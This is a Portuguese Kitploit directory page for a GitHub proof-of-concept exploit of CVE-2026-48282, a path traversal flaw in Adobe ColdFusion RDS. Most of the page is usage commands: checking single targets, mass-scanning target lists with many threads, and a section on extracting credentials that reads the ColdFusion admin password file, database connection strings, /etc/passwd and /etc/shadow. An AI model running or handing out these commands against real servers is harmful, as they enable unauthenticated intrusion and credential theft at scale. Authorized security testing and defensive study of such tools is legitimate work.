Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-48282 — Exploit de prova de conceito para CVE-2026-48282, uma vulnerabilidade crítica de path traversal no Adobe ColdFusion RDS que permite leitura/escrita de arquivos não autenticada e RCE. Suporta varredura de alvo único e em massa com extração de arquivos multi-thread. | Kitploit
Ferramentas/GitHubGitHub/imbas007/cve-2026-48282
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubimbas007/cve-2026-48282

CVE-2026-48282

Exploit de prova de conceito para CVE-2026-48282, uma vulnerabilidade crítica de path traversal no Adobe ColdFusion RDS que permite leitura/escrita de arquivos não autenticada e RCE. Suporta varredura de alvo único e em massa com extração de arquivos multi-thread.

Ver Repositório
246há 1 mêsRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-48282-POC

CVE-2026-48282 é uma vulnerabilidade de path traversal no Remote Development Service (RDS) do Adobe ColdFusion com pontuação CVSS de 10.0 (Crítico). Ela permite que atacantes não autenticados leiam e escrevam arquivos arbitrários através do endpoint /CFIDE/main/ide.cfm, levando à Execução Remota de Código (RCE).

Instalação

root@kitploit:~
# Clone the repository
git clone https://github.com/<username>/CVE-2026-48282.git
cd CVE-2026-48282

# Install dependencies (only requires `requests`)
pip install -r requirements.txt

Uso

Alvo Único (-t)

root@kitploit:~
# Check vulnerability
python cve-2026-48282.py -t https://target.com --check

# Read files
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read "C:\\Windows\\win.ini"
python cve-2026-48282.py -t https://target.com --read "C:\\ColdFusion2023\\cfusion\\lib\\password.properties"

# Browse directories
python cve-2026-48282.py -t https://target.com --browse "C:\\"
python cve-2026-48282.py -t https://target.com --browse "C:\\inetpub\\wwwroot"

Modo Lista (-l) — Escanear Múltiplos Alvos

root@kitploit:~

# Basic mass scan
python cve-2026-48282.py -l targets.txt --check

# More threads + save results
python cve-2026-48282.py -l targets.txt --check --threads 30 -o vuln.txt

# Scan + auto-read canary file on any vulnerable target found
python cve-2026-48282.py -l targets.txt --check --read "C:\\Windows\\win.ini" -o results.txt

Ler arquivos sensíveis

root@kitploit:~

Once confirmed vulnerable, extract credentials and configuration:

# ColdFusion admin password hash
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\password.properties"

# Database connection strings (neo-query.xml)
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\neo-query.xml"

# Linux targets
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read /etc/shadow
imagem
Baixar ferramenta